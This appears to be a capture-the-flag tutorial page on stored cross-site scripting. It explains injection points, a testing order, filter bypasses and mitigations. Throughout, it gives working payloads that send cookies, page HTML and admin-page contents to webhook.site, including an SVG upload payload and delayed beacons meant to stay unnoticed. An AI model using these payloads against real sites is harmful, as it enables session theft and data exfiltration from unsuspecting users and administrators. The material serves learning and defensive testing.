Stored XSS
Exploit stored/persistent Cross-Site Scripting vulnerabilities that affect every visitor.
Stored XSS
Stored XSS (Persistent XSS) occurs when an application stores attacker-controlled input (comments, profile fields, uploads) and later renders it into pages visited by other users (often administrators). Stored XSS is high-impact: it can affect every visitor and remains effective until the payload is removed.
Quick summary
- Impact: account compromise, token/cookie theft, forced actions, data exfiltration, backdoors for persistent access.
- Delivery: attacker submits payload into a persistent field (comment, profile, product review, file upload). The payload executes when a victim/admin views the stored content.
- Typical targets in CTFs: admin review bots, support panels, user dashboards, and feeds.
CTF Quick Start
-
- Identify stored inputs that are visible to admins or bots (comments, reports, profiles).
-
- Confirm persistence with a benign marker: submit
<b>ctf-test</b>and view the stored page.
- Confirm persistence with a benign marker: submit
-
- Try a non-noisy execution payload:
<img src=x onerror=fetch('https://webhook.site/ID?c='+btoa(document.cookie))>.
- Try a non-noisy execution payload:
-
- Use delays or lightweight navigation to ensure headless bots execute scripts:
setTimeout(...,2000).
- Use delays or lightweight navigation to ensure headless bots execute scripts:
-
- Capture webhook request, extract flag/token, and remove your payload if required by rules.
Payload snippets (CTF-ready)
- Minimal alert:
<img src=x onerror=alert(1)> - Cookie beacon:
<script>new Image().src='https://webhook.site/ID?c='+btoa(document.cookie)</script> - Stealth fetch:
<script>setTimeout(()=>fetch('https://webhook.site/ID?d='+btoa(document.body.innerText)),1500)</script> - SVG upload: upload an
.svgcontaining<script>fetch('https://webhook.site/ID?d='+btoa(document.documentElement.innerHTML))</script>
How it typically works
- Attacker finds an input that is stored and later rendered.
- Attacker submits a payload (HTML/JS/SVG) that is stored server-side.
- Victim views the page containing the stored payload.
- Victim's browser executes the injected script.
Common injection points
- Comments, forum posts, and reviews
- Profile fields (bio, display name, website)
- Support tickets, bug reports, and contact forms
- File uploads and image metadata (notably SVG files)
- Admin logs and error pages that render raw data
- Chat messages and realtime feeds
Testing checklist (safe order)
- Map stored fields and identify who views them (admins, bots, other users).
- Insert a benign marker (
<b>test</b>) to confirm storage and rendering context. - Escalate to non-script HTML (
<img src=x onerror=alert(1)>) to validate script execution. - Use time-delayed benign probes or private webhooks to detect admin visits.
- If successful, craft selective exfiltration payloads that minimize noise.
Quick probes:
-- <b>test</b> - renders as bold if HTML allowed
-- <img src=x onerror=alert(1)> - triggers if inline handlers allowed
-- SVG upload containing <script> - tests file-based XSS
Practical payloads
Simple cookie exfiltration (note: cannot access HttpOnly cookies):
<script>new Image().src='https://webhook.site/UNIQUE?c='+encodeURIComponent(document.cookie)</script>Stealthier exfiltration using fetch and btoa:
<script>fetch('https://webhook.site/UNIQUE?d='+btoa(document.documentElement.innerHTML))</script>Read page fragments and perform actions (if credentials: include allowed):
<script>
fetch('/admin', {credentials:'include'})
.then(r=>r.text())
.then(t=>fetch('https://webhook.site/UNIQUE?d='+btoa(t)));
</script>SVG upload vector (file-based payload):
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://webhook.site/UNIQUE?d='+btoa(document.documentElement.innerHTML))
</script>
</svg>Exploitation workflow (practical)
- Confirm persistence and who sees the payload (admin, public, bot).
- Identify exact reflection context (HTML body, attribute, inside a JS template, or served as a file).
- Test minimal payloads to avoid detection: readable markers, then small exfiltrations.
- Use webhooks (webhook.site, Burp Collaborator) or your own server to capture requests.
- If admins use headless browsers, add short delays (e.g.,
setTimeout) or benign navigation to ensure the bot performs the actions.
Example (delayed beacon to reduce noise):
<script>
setTimeout(()=>{fetch('https://webhook.site/UNIQUE?c='+btoa(document.cookie))}, 2000);
</script>Bypass techniques and common pitfalls
-- File uploads: test SVG and HTML file handlers - many apps allow SVG but do not sanitize embedded scripts.
- Markdown renderers: try link and image payloads that exploit unsafe renderers (e.g.,
)). - Filters: use whitespace, encoding, or event-handler alternatives when
<script>is blocked. -- HttpOnly cookies: cannot be read client-side - exfiltrate page content or tokens instead.
Examples:
%3Cscript%3Ealert(1)%3C%2Fscript%3E # URL-encoded script tag
<svg onload=alert(1)> # SVG event
<img src=x onerror=fetch('https://webhook.site/UNIQUE?c='+btoa(document.cookie))>Mitigations and secure design
- Output encoding: escape HTML in the specific context (HTML body, attributes, JavaScript strings, URLs). Use templating frameworks' escaping helpers.
- Reject dangerous file types or sanitize uploads (remove scripts from SVG) and serve user-uploaded files from a different domain or via a sanitized proxy.
- Use
HttpOnly,Secure, andSameSiteflags on cookies; set strong CSP (deny inline scripts, use nonces/hashes). - Implement input validation and canonicalization; treat any input that can contain markup as untrusted and encode it appropriately.
- Employ least privilege and remove admin-only features from user-controllable fields.
- Monitor stored content and use automated scanning for XSS payloads in persisted fields.
Detection and tooling
- Manual: submit test payloads, monitor webhooks, and check admin pages.
- Automated: use Burp Scanner, ZAP, or custom scripts to detect persistent reflections.
- For uploads: test file previews and content-type mismatches; use browser devtools to inspect inline scripts.
See also
Last updated on